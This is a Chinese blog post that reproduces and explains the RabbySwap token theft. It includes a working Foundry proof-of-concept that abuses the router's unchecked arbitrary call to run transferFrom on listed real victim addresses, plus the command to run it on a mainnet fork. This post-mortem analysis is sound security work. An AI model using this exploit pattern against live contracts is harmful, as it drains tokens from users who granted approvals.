# RabbyWallet被盗的复现与简析 **Published by:** [rbtree](https://paragraph.com/@rbtree/) **Published on:** 2022-10-17 **URL:** https://paragraph.com/@rbtree/rabbywallet ## Content 阅读本文之前,可以先阅读下面这篇文章,本文是基于下面这篇文章提供的材料对RabbyWallet的攻击进行复现和分析的。 https://learnblockchain.cn/article/4881 选取的攻击交易为 https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038 这笔交易试图盗取6名用户的HOP代币资产,其中2人因为approve为0逃过一劫,另外4人的HOP代币全部被转走。1 RabbySwap的正常执行逻辑我们先来看一个正常的RabbySwap交易。 https://etherscan.io/tx/0x576e6e447a2ca0071451de056e0a03395fb11d26dd7c4fde566001785552e7c0大家可以看一下图中被我圈起来的部分,ZeroEx::sellToUniswap. 因为RabbySwap本身并没有流动池,所以它其实只是一个中转站,它还需要在自己的swap函数中调用其他dex的接口。在上面的例子中,调用了0x的接口,然后0x又去调用了sushi。 RabbySwap的代码并没有开源,不过我们可以在它的一份代码审计报告中看到一些代码片段。巧合的是,其中恰好有个片段是_swap(),它应该就是swap接口的核心逻辑所在。 https://github.com/RabbyHub/Rabby/blob/develop/docs/PeckShield-Audit-Report-RabbyRouter-v1.0.pdf其中的关键是我在图中圈起来的部分——dexRouter.functionCallWithValue,应该就是这个函数完成了对外部dex的调用完成了swap过程。 functionCallWithValue是openzeppelin的库函数,最终会被转为dexRouter.call{value: value}(data)function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } 这是一个可怕的操作,用户可以通过调整swap函数的入参dexRouter和data,让这里随意调用任意合约的任意方法,正是这里给了攻击者可乘之机。2 RabbySwap的攻击交易https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038 攻击交易中多次调用了Rabby的swap接口,我们只看其中一个。和上面的正常交易对比,最明显的不同是ZeroEx::sellToUniswap被替换成了HOPToken::transferFrom,本来是应该调用0x的兑换接口完成token兑换,这里却调用HOP代币合约的transferFrom函数,把HOP转到了黑客的钱包。这就是任何合约函数调用的可怕之处,不需要获取任何管理员权限,轻松偷到了代币。 根据链上交易的执行过程,我写了如下代码重现了黑客的这一攻击交易。pragma solidity ^0.8.0; import "forge-std/Script.sol"; contract TestScript is Script { function setUp() public { } function run() public { AttackContract attackInstance = new AttackContract(); uint256[] memory victims = new uint256Unsupported embed; victims[0] = 0x0000000000000000000000000753cfbc797abfce05abaacbb1e6ae032feb5f1d; victims[1] = 0x0000000000000000000000001eef1739bd82968725d9919bceb11ed9616a4da5; // allowance = 0 victims[2] = 0x0000000000000000000000007d7abdce70d3b346b2cae671b450792d73785b38; victims[3] = 0x0000000000000000000000008e283b2383d0e4c68d064438e9113a48b467ec40; victims[4] = 0x0000000000000000000000009a74ec99bd88eca680485da7f32fca05af375dcf; // allowance = 0 victims[5] = 0x000000000000000000000000eeff1559b2876e90a6cf341ac4d37e84dba5e8c5; uint256 hopTokenAddr = 0x000000000000000000000000c5102fe9359fd9a28f877a67e36b0f050d81a3cc; attackInstance.batchAttack(victims, hopTokenAddr); } } contract AttackContract { address constant rabby = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1; address constant receiver = 0x9682f31b3f572988f93C2B8382586ca26A866475; // attacker's EOA address function batchAttack(uint256[] calldata victims, uint256 token) external { for (uint i = 0; i < victims.length; i++) { attack(address(uint160(victims[i])), address(uint160(token))); } } function attack(address victim, address token) internal { address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT uint256 amount = 0; address destToken = address(this); uint256 minReturn = 4660; address dexRouter = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC; address dexSpender = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC; uint256 amountOwned = IERC20(token).balanceOf(victim); uint256 amountApproved = IERC20(token).allowance(victim, rabby); if (amountOwned == 0 || amountApproved == 0) return; bytes memory data; // avoid stack too deep { bytes4 transferSig = 0x23b872dd; uint256 victimAddr = uint160(victim); uint256 attackerAddr = uint160(receiver); uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved; // b1-b7 is useless in attack transaction bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000; bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address. bytes4 b5 = 0x869584cd; bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011; bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef; bytes memory dataTemp = abi.encodePacked(transferSig, victimAddr, attackerAddr, transferAmount, b1, b2, b3, b4, b5, b6, b7); data = dataTemp; } uint256 deadline = 1665403089111; RabbySwap(rabby).swap(srcToken, amount, destToken, minReturn, dexRouter, dexSpender, data, deadline); } function balanceOf(address addr) public returns(uint256) { return 100000000000000000000; } function transfer(address to, uint256 amount) external returns (bool) { return true; } } interface IERC20 { function balanceOf(address addr) external view returns(uint256); function allowance(address owner, address spender) external view returns (uint256); } interface RabbySwap { function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender, bytes calldata data, uint256 deadline) external; } 运行forge script script/Test.s.sol --fork-url $ETH_RPC_URL --fork-block-number 15724450 -vvvv --tc TestScript即可运行:其中核心函数是function attack(address victim, address token),这个函数构造了对transferFrom的调用。关键是下面几行代码: transferSig是bytes4(keccak256(”transferFrom(address,address,uint256)”). victimAddr、attackerAddr、transferAmount是transferFrom的三个参数,分别是受害者地址,黑客地址、转移代币数额。其中转移代币数额可以通过受害者拥有的代币数和approve的代币数取最小值获得,这两个数字都可以通过HOP合约查到。uint256 amountOwned = IERC20(token).balanceOf(victim); uint256 amountApproved = IERC20(token).allowance(victim, rabby); if (amountOwned == 0 || amountApproved == 0) return; bytes memory data; // avoid stack too deep { bytes4 transferSig = 0x23b872dd; uint256 victimAddr = uint160(victim); uint256 attackerAddr = uint160(receiver); uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved; ...... } 下面这些变量,其中b1-b4在正常交易中是用来指定swap路径的,b5-b7我没看出来是做什么的。 不过在攻击交易中,这些变量并没有发挥作用,实际上,如果把它们去掉,攻击交易依然可以正常执行。// b1-b7 is useless in attack transaction bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000; bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address. bytes4 b5 = 0x869584cd; bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011; bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef; 在Rabby的的函数中,最后还有一些简单的校验,判断换出的token数目有没有超过最小额。然后会把换出来的代币发送给调用者。攻击合约还需要做一些修改通过这些校验和后续发送操作。攻击交易实际上是假装自己在用USDT换另一种token,可能是为了方便,黑客把这个token地址就设定为这个合约本身,然后为这个合约实现了balanceOf和transfer函数,只要让balanceOf返回一个很大的数字、transfer函数返回true就可以轻松通过校验。function attack(address victim, address token) internal { address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT uint256 amount = 0; address destToken = address(this); uint256 minReturn = 4660; ...... } function balanceOf(address addr) public returns(uint256) { return 100000000000000000000; } function transfer(address to, uint256 amount) external returns (bool) { return true; } 3 总结与困惑认真分析攻击交易之后可以发现,整个攻击过程简单到让人瞠目,没有盗取管理员权限的花哨操作,只是简单的构造了swap接口的入参。究其原因,还是因为RabbySwap的合约中包含了一个非常危险的任何合约函数调用,且几乎没有做任何有效的校验。 让我感到困惑的是,为什么这样明显有风险的代码会被部署上链,如果真的是审计没有发现,对审计公司也算是个事故吧? ## Publication Information - [rbtree](https://paragraph.com/@rbtree/): Publication homepage - [All Posts](https://paragraph.com/@rbtree/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@rbtree): Subscribe to updates